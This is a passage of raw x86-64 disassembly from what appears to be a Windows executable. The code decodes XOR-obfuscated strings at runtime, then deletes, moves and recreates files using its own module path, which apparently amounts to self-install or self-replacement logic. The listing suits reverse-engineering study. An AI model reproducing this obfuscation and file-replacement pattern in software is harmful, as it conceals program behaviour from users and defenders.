packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r9 - 4]
xorps xmm3, xmm0
movd dword [r9 - 4], xmm3
movd xmm1, r14d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r9]
xorps xmm1, xmm0
movd dword [r9], xmm1
lea eax, [r14 + 7]
lea ecx, [r14 + 6]
lea edx, [r14 + 5]
lea r8d, [r14 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm3, xmm0
movd dword [r9 + 4], xmm3
add esi, 0x10
add r14d, 0x10
lea r9, [r9 + 0x10]
cmp r14d, 0x28
jb 0x1400539e0
cmp esi, 0x28
jae 0x140053b12
mov eax, esi
lea rcx, [rbp - 0x50]
add rcx, rax
lea eax, [rsi + 0x14]
xor byte [rcx], al
inc esi
lea rcx, [rcx + 1]
cmp esi, 0x28
jb 0x140053b02
mov byte [rbp - 0x28], 0
lea rax, [rbp - 0x50]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140053b20
lea rdx, [rbp - 0x50]
mov r8, rbx
lea rcx, [0x1400d0d80]
call fcn.140078ad0
nop
lea rcx, [rbp + 0x30]
call fcn.140077d20
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x1400537c2
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400537bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054da5
jmp 0x1400537bd
mov r14d, dword [rbp - 0x70]
lea r9, [0x1400d3328]
cmp qword [0x1400d3340], 0xf
cmova r9, qword [0x1400d3328]
mov dword [rsp + 0x60], 0x644a6631
mov dword [rsp + 0x64], 0x767b7c6c
mov dword [rsp + 0x68], 0x766a7e5d
mov word [rsp + 0x6c], 0x4456
mov byte [rsp + 0x6e], 0x22
mov ecx, esi
lea rax, [rsp + 0x60]
movd xmm1, ecx
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
add ecx, 4
lea rax, [rax + 4]
cmp ecx, 0xc
jb 0x140053bd0
cmp ecx, 0xe
jae 0x140053c30
mov eax, ecx
lea rdx, [rsp + 0x60]
add rdx, rax
nop word [rax + rax]
lea eax, [rcx + 0x14]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xe
jb 0x140053c20
mov byte [rsp + 0x6e], 0
lea r8, [rsp + 0x60]
mov edx, 0x104
lea rcx, [rbp + 0x130]
call fcn.14004ba10
mov edx, 2
lea rcx, [rbp + 0x130]
call fcn.14008f7d4
test eax, eax
je 0x140053c6f
xor edx, edx
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp qword [0x1400d3340], 0xf
lea r9, [0x1400d3328]
cmova r9, qword [0x1400d3328]
movdqa xmm0, xmmword [0x1400c18b0]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rbp - 0x80], 0x414d
mov byte [rbp - 0x7e], 0x26
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x70], xmm1
movd xmm1, dword [rbp - 0x60]
movd xmm0, dword [rsp + 0x74]
xorps xmm1, xmm0
movd dword [rsp + 0x74], xmm1
movd xmm2, r14d
movd xmm0, dword [rsp + 0x78]
xorps xmm2, xmm0
movd dword [rsp + 0x78], xmm2
movd xmm1, r13d
movd xmm0, dword [rsp + 0x7c]
xorps xmm1, xmm0
movd dword [rsp + 0x7c], xmm1
mov ecx, edi
lea rdx, [rbp - 0x80]
nop word [rax + rax]
lea eax, [rcx + 0x14]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x12
jb 0x140053d00
mov byte [rbp - 0x7e], 0
lea r8, [rsp + 0x70]
mov edx, 0x104
lea rcx, [rbp + 0x130]
call fcn.14004ba10
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x130]
call fcn.14008ffc4
mov rcx, qword [rbp + 0x30]
add rcx, 0x20
cmp qword [rcx + 0x18], 0xf
jbe 0x140053d4f
mov rcx, qword [rcx]
call fcn.1400911fc
cmp dword [rbp + 0xec], eax
je 0x140054343
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
movdqa xmm0, xmmword [str.o7ra__99y_3]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x424d071e
mov dword [rsp + 0x54], 0x474f475a
mov word [rsp + 0x58], 0x500e
mov byte [rsp + 0x5a], 0x2e
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
movd xmm1, dword [rsp + 0x44]
movd xmm0, dword [rbp - 0x60]
xorps xmm1, xmm0
movd dword [rsp + 0x44], xmm1
movd xmm2, dword [rsp + 0x48]
movd xmm0, r14d
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movd xmm1, dword [rsp + 0x4c]
movd xmm0, r13d
xorps xmm1, xmm0
movd dword [rsp + 0x4c], xmm1
mov ecx, edi
lea rdx, [rsp + 0x50]
lea eax, [rcx + 0x14]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x1a
jb 0x140053df0
mov byte [rsp + 0x5a], 0
mov r9d, 0x14d
lea r8, [rsp + 0x40]
mov edx, 0x104
lea rcx, [rbp + 0x370]
call fcn.14004ba10
lea rax, [rbp - 0x50]
mov qword [rbp + 0x728], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
lea rax, [rbp + 0x130]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140053e45
lea rdx, [rbp + 0x130]
lea rcx, [rbp - 0x50]
call fcn.14007a5d0
nop
mov dword [rbp + 0x720], 0x69467764
mov word [rbp + 0x724], 0x656c
mov byte [rbp + 0x726], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rsi
lea rax, [rbp + 0x720]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140053e93
lea rdx, [rbp + 0x720]
lea rcx, [rbp + 0x10]
call fcn.14007a5d0
movdqa xmm0, xmmword [0x1400c18c0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x5049615c
mov dword [rsp + 0x54], 0x47436f46
mov word [rsp + 0x58], 0x2d49
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
movd xmm1, dword [rsp + 0x44]
movd xmm0, dword [rbp - 0x60]
xorps xmm1, xmm0
movd dword [rsp + 0x44], xmm1
movd xmm2, dword [rsp + 0x48]
movd xmm0, r14d
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movd xmm1, dword [rsp + 0x4c]
movd xmm0, r13d
xorps xmm1, xmm0
movd dword [rsp + 0x4c], xmm1
mov ecx, edi
lea rdx, [rsp + 0x50]
nop dword [rax + rax]
lea eax, [rcx + 0x14]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x19
jb 0x140053f30
mov byte [rsp + 0x59], 0
movdqa xmm0, xmmword [0x1400c13b0]
movdqu xmmword [rbp - 0x70], xmm0
mov ecx, esi
lea rax, [rbp - 0x70]
nop dword [rax + rax]
movd xmm1, ecx
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
add ecx, 4
lea rax, [rax + 4]
cmp ecx, 0xc
jb 0x140053f60
cmp ecx, 0xf
jae 0x140053fc0
mov eax, ecx
lea rdx, [rbp - 0x70]
add rdx, rax
nop word [rax + rax]
lea eax, [rcx + 0x14]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xf
jb 0x140053fb0
mov byte [rbp - 0x61], 0
lea rax, [rbp - 0x50]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x370]
lea r8, [rsp + 0x40]
lea rcx, [rbp - 0x70]
call fcn.140050ec0
test al, al
jne 0x14005419b
movd xmm1, r12d
lea rcx, [rbp - 0x80]
cmp dword [0x1400d33b8], 1
jne 0x1400540a3
movdqa xmm0, xmmword [0x1400c1aa0]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0x27078090
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x70], xmm1
movd xmm1, dword [rsp + 0x74]
movd xmm0, dword [rbp - 0x60]
xorps xmm1, xmm0
movd dword [rsp + 0x74], xmm1
movd xmm2, dword [rsp + 0x78]
movd xmm0, r14d
xorps xmm2, xmm0
movd dword [rsp + 0x78], xmm2
movd xmm1, dword [rsp + 0x7c]
movd xmm0, r13d
xorps xmm1, xmm0
movd dword [rsp + 0x7c], xmm1
nop dword [rax + rax]
lea eax, [rdi + 0x14]
xor byte [rcx], al
inc edi
lea rcx, [rcx + 1]
cmp edi, 0x13
jb 0x140054070
mov byte [rbp - 0x7d], 0
lea rax, [rsp + 0x70]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140054090
lea rdx, [rsp + 0x70]
jmp 0x14005413e
movdqa xmm0, xmmword [str._pdyu:]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0x4b4f4442
mov dword [rbp - 0x7c], 0x2b0b4d4d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x70], xmm1
movd xmm1, dword [rsp + 0x74]
movd xmm0, dword [rbp - 0x60]
xorps xmm1, xmm0
movd dword [rsp + 0x74], xmm1
movd xmm2, dword [rsp + 0x78]
movd xmm0, r14d
xorps xmm2, xmm0
movd dword [rsp + 0x78], xmm2
movd xmm1, dword [rsp + 0x7c]
movd xmm0, r13d
xorps xmm1, xmm0
movd dword [rsp + 0x7c], xmm1
nop dword [rax]
lea eax, [rdi + 0x14]
xor byte [rcx], al
inc edi
lea rcx, [rcx + 1]
cmp edi, 0x17
jb 0x140054110
mov byte [rbp - 0x79], 0
lea rax, [rsp + 0x70]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140054130
lea rdx, [rsp + 0x70]
mov r8, rbx
lea rcx, [0x1400d0d80]
call fcn.140078ad0
nop
lea rcx, [rbp + 0x30]
call fcn.140077d20
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x1400537c2
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400537bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054dab
jmp 0x1400537bd
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x130]
call fcn.14008ffc4
mov rcx, qword [rbp + 0x30]
add rcx, 0x20
cmp qword [rcx + 0x18], 0xf
jbe 0x1400541c0
mov rcx, qword [rcx]
call fcn.1400911fc
cmp dword [rbp + 0xec], eax
je 0x140054343
movd xmm1, r12d
lea rcx, [rsp + 0x50]
cmp dword [0x1400d33b8], 1
jne 0x140054293
movdqa xmm0, xmmword [0x1400c1a50]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xaac08ba9
mov dword [rsp + 0x54], 0xa4b7ccb7
mov word [rsp + 0x58], 0x2d0d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
movd xmm1, dword [rsp + 0x44]
movd xmm0, dword [rbp - 0x60]
xorps xmm1, xmm0
movd dword [rsp + 0x44], xmm1
movd xmm2, dword [rsp + 0x48]
movd xmm0, r14d
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movd xmm1, dword [rsp + 0x4c]
movd xmm0, r13d
xorps xmm1, xmm0
movd dword [rsp + 0x4c], xmm1
nop word [rax + rax]
lea eax, [rdi + 0x14]
xor byte [rcx], al
inc edi
lea rcx, [rcx + 1]
cmp edi, 0x19
jb 0x140054260
mov byte [rsp + 0x59], 0
lea rax, [rsp + 0x40]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140054280
lea rdx, [rsp + 0x40]
jmp 0x14005413e
movdqa xmm0, xmmword [0x1400c1960]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x48450545
mov dword [rsp + 0x54], 0x5b5f5b5a
mov dword [rsp + 0x58], 0x41414458
mov word [rsp + 0x5c], 0x3111
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
movd xmm1, dword [rsp + 0x44]
movd xmm0, dword [rbp - 0x60]
xorps xmm1, xmm0
movd dword [rsp + 0x44], xmm1
movd xmm2, dword [rsp + 0x48]
movd xmm0, r14d
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movd xmm1, dword [rsp + 0x4c]
movd xmm0, r13d
xorps xmm1, xmm0
movd dword [rsp + 0x4c], xmm1
nop dword [rax]
lea eax, [rdi + 0x14]
xor byte [rcx], al
inc edi
lea rcx, [rcx + 1]
cmp edi, 0x1d
jb 0x140054310
mov byte [rsp + 0x5d], 0
lea rax, [rsp + 0x40]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140054330
lea rdx, [rsp + 0x40]
jmp 0x14005413e
mov dword [rbp + 0x720], 0x786f62
lea r8, [rbp + 0x720]
mov edx, 0x104
lea rcx, [rbp + 0x130]
call fcn.14004ba10
mov r8d, 0x104
lea rdx, [rbp + 0x590]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x590]
call fcn.14008ffc4
mov rcx, qword [rbp + 0x30]
add rcx, 0x40
cmp qword [rcx + 0x18], 0xf
jbe 0x14005439f
mov rcx, qword [rcx]
call fcn.1400911fc
cmp dword [rbp + 0xec], eax
je 0x140054b5b
movdqa xmm0, xmmword [str.o7ra__99y_3]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x4844071e
mov dword [rsp + 0x54], 0x4f5a7c50
mov dword [rsp + 0x58], 0xd4b594d
mov word [rsp + 0x5c], 0x314d
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
movd xmm1, dword [rsp + 0x44]
movd xmm0, dword [rbp - 0x60]
xorps xmm1, xmm0
movd dword [rsp + 0x44], xmm1
movd xmm2, dword [rsp + 0x48]
movd xmm0, r14d
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movd xmm1, dword [rsp + 0x4c]
movd xmm0, r13d
xorps xmm1, xmm0
movd dword [rsp + 0x4c], xmm1
mov ecx, edi
lea rdx, [rsp + 0x50]
nop word [rax + rax]
lea eax, [rcx + 0x14]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x1d
jb 0x140054440
mov byte [rsp + 0x5d], 0
mov r9d, 0x14d
lea r8, [rsp + 0x40]
mov edx, 0x104
lea rcx, [rbp + 0x370]
call fcn.14004ba10
lea rax, [rbp - 0x50]
mov qword [rbp + 0x728], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
lea rax, [rbp + 0x130]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140054495
lea rdx, [rbp + 0x130]
lea rcx, [rbp - 0x50]
call fcn.14007a5d0
nop
mov dword [rbp + 0x720], 0x69467764
mov word [rbp + 0x724], 0x656c
mov byte [rbp + 0x726], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rsi
lea rax, [rbp + 0x720]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400544e3
lea rdx, [rbp + 0x720]
lea rcx, [rbp + 0x10]
call fcn.14007a5d0
movdqa xmm0, xmmword [0x1400c18c0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x5049615c
mov dword [rsp + 0x54], 0x47436f46
mov word [rsp + 0x58], 0x2d49
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
movd xmm1, dword [rsp + 0x44]
movd xmm0, dword [rbp - 0x60]
xorps xmm1, xmm0
movd dword [rsp + 0x44], xmm1
movd xmm2, dword [rsp + 0x48]
movd xmm0, r14d
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movd xmm1, dword [rsp + 0x4c]
movd xmm0, r13d
xorps xmm1, xmm0
movd dword [rsp + 0x4c], xmm1
mov ecx, edi
lea rdx, [rsp + 0x50]
nop dword [rax + rax]
lea eax, [rcx + 0x14]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x19
jb 0x140054580
mov byte [rsp + 0x59], 0
movdqa xmm0, xmmword [0x1400c13b0]
movdqu xmmword [rbp - 0x70], xmm0
mov ecx, esi
lea rax, [rbp - 0x70]
nop dword [rax + rax]
movd xmm1, ecx
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
add ecx, 4
lea rax, [rax + 4]
cmp ecx, 0xc
jb 0x1400545b0
cmp ecx, 0xf
jae 0x140054610
mov eax, ecx
lea rdx, [rbp - 0x70]
add rdx, rax
nop word [rax + rax]
lea eax, [rcx + 0x14]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xf
jb 0x140054600
mov byte [rbp - 0x61], 0
lea rax, [rbp - 0x50]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x370]
lea r8, [rsp + 0x40]
lea rcx, [rbp - 0x70]
call fcn.140050ec0
test al, al
jne 0x1400546e3
movdqa xmm0, xmmword [0x1400c1ab0]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0x27078090
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x70], xmm1
movd xmm1, dword [rbp - 0x60]
movd xmm0, dword [rsp + 0x74]
xorps xmm1, xmm0
movd dword [rsp + 0x74], xmm1
movd xmm2, r14d
movd xmm0, dword [rsp + 0x78]
xorps xmm2, xmm0
movd dword [rsp + 0x78], xmm2
movd xmm1, r13d
movd xmm0, dword [rsp + 0x7c]
xorps xmm1, xmm0
movd dword [rsp + 0x7c], xmm1
lea rcx, [rbp - 0x80]
nop
lea eax, [rdi + 0x14]
xor byte [rcx], al
inc edi
lea rcx, [rcx + 1]
cmp edi, 0x13
jb 0x1400546b0
mov byte [rbp - 0x7d], 0
lea rax, [rsp + 0x70]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400546d0
lea rdx, [rsp + 0x70]
jmp 0x14005413e
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x130]
call fcn.14008ffc4
mov rcx, qword [rbp + 0x30]
add rcx, 0x40
cmp qword [rcx + 0x18], 0xf
jbe 0x140054708
mov rcx, qword [rcx]
call fcn.1400911fc
cmp dword [rbp + 0xec], eax
jne 0x1400549d5
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], rsi
mov qword [rbp + 0x88], rsi
lea rax, [rbp + 0x590]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140054740
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x70]
call fcn.14007a5d0
nop
lea rdi, [rbp + 0x70]
mov r12, qword [rbp + 0x70]
mov r13, qword [rbp + 0x88]
cmp r13, 0xf
cmova rdi, r12
mov r14, qword [rbp + 0x80]
test r14, r14
je 0x14005480a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
movups xmmword [rbp + 0x270], xmm0
movups xmmword [rbp + 0x280], xmm0
mov qword [rbp + 0x290], rax
mov dword [rbp + 0x298], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0x29d]
call fcn.1400abb10
mov byte [rbp + 0x29c], 1
lea rax, [r14 - 1]
mov rcx, rbx
cmp rax, rbx
cmovb rcx, rax
add rcx, rdi
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x240], 0
jne 0x140054805
cmp rcx, rdi
je 0x14005480a
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x240], 0
je 0x1400547f0
sub rcx, rdi
jmp 0x14005480d
mov rcx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc8], xmm1
movsxd r8, ecx
cmp r14, r8
cmovb r8, r14
lea rdx, [rbp + 0x70]
cmp r13, 0xf
cmova rdx, r12
lea rcx, [rbp + 0xb8]
call fcn.14007a5d0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140054882
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005487d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054dcf
call fcn.14007c72c
movups xmm0, xmmword [rbp + 0xb8]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rbp + 0xc8]
movups xmmword [rbp + 0x80], xmm1
lea r9, [rbp + 0x70]
movq rcx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 0xf
cmova r9, rcx
movdqa xmm0, xmmword [0x1400c13a0]
movdqu xmmword [rbp - 0x70], xmm0
mov ecx, esi
lea rax, [rbp - 0x70]
nop dword [rax]
movd xmm1, ecx
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
add ecx, 4
lea rax, [rax + 4]
cmp ecx, 0xc
jb 0x1400548d0
cmp ecx, 0xf
jae 0x140054931
mov eax, ecx
lea r8, [rbp - 0x70]
add r8, rax
nop word [rax + rax]
lea eax, [rcx + 0x14]
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xf
jb 0x140054920
mov byte [rbp - 0x61], 0
lea r8, [rbp - 0x70]
mov edx, 0x104
lea rcx, [rbp + 0x480]
call fcn.14004ba10
lea rcx, [rbp + 0x480]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14004f0e0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x140054dd5
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140054b5b
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400549cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054d9f
call fcn.14007c72c
jmp 0x140054b5b
movd xmm1, r12d
movd xmm2, r14d
lea rcx, [rsp + 0x50]
cmp dword [0x1400d33b8], 1
jne 0x140054a93
movdqa xmm0, xmmword [0x1400c1a60]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xaac08ba9
mov dword [rsp + 0x54], 0xa4b7ccb7
mov word [rsp + 0x58], 0x2d0d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
movd xmm1, dword [rbp - 0x60]
movd xmm0, dword [rsp + 0x44]
xorps xmm1, xmm0
movd dword [rsp + 0x44], xmm1
movd xmm0, dword [rsp + 0x48]
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movd xmm1, r13d
movd xmm0, dword [rsp + 0x4c]
xorps xmm1, xmm0
movd dword [rsp + 0x4c], xmm1
nop
lea eax, [rdi + 0x14]
xor byte [rcx], al
inc edi
lea rcx, [rcx + 1]
cmp edi, 0x19
jb 0x140054a60
mov byte [rsp + 0x59], 0
lea rax, [rsp + 0x40]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140054a80
lea rdx, [rsp + 0x40]
jmp 0x140054b3e
movdqa xmm0, xmmword [str._zy8uuxq_AUC]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x4406564d
mov dword [rsp + 0x54], 0x5e585b47
mov dword [rsp + 0x58], 0x4b4b595c
mov word [rsp + 0x5c], 0x3111
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
movd xmm1, dword [rbp - 0x60]
movd xmm0, dword [rsp + 0x44]
xorps xmm1, xmm0
movd dword [rsp + 0x44], xmm1
movd xmm0, dword [rsp + 0x48]
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movd xmm1, r13d
movd xmm0, dword [rsp + 0x4c]
xorps xmm1, xmm0
movd dword [rsp + 0x4c], xmm1
nop dword [rax + rax]
lea eax, [rdi + 0x14]
xor byte [rcx], al
inc edi
lea rcx, [rcx + 1]
cmp edi, 0x1d
jb 0x140054b10
mov byte [rsp + 0x5d], 0
lea rax, [rsp + 0x40]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140054b30
lea rdx, [rsp + 0x40]
mov r8, rbx
lea rcx, [0x1400d0d80]
call fcn.140078ad0
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
lea rcx, [rbp + 0x30]
call fcn.140077d20
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140054ba0
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054b9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054dab
call fcn.14007c72c
mov al, 1
jmp 0x1400537c4
movdqa xmm0, xmmword [0x1400c1a90]
movdqu xmmword [rbp + 0x90], xmm0
movdqa xmm1, xmmword [0x1400c1ad0]
movdqu xmmword [rbp + 0xa0], xmm1
mov dword [rbp + 0xb0], 0x98deb8b2
mov word [rbp + 0xb4], 0x18ad
mov byte [rbp + 0xb6], 0x3a
mov r14d, 8
lea r9, [rbp + 0x98]
nop
movd xmm1, esi
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r9 - 8]
xorps xmm1, xmm0
movd dword [r9 - 8], xmm1
lea eax, [r14 - 1]
lea ecx, [r14 - 2]
lea edx, [r14 - 3]
lea r8d, [r14 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r9 - 4]
xorps xmm3, xmm0
movd dword [r9 - 4], xmm3
movd xmm1, r14d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r9]
xorps xmm1, xmm0
movd dword [r9], xmm1
lea eax, [r14 + 7]
lea ecx, [r14 + 6]
lea edx, [r14 + 5]
lea r8d, [r14 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm3, xmm0
movd dword [r9 + 4], xmm3
add esi, 0x10
add r14d, 0x10
lea r9, [r9 + 0x10]
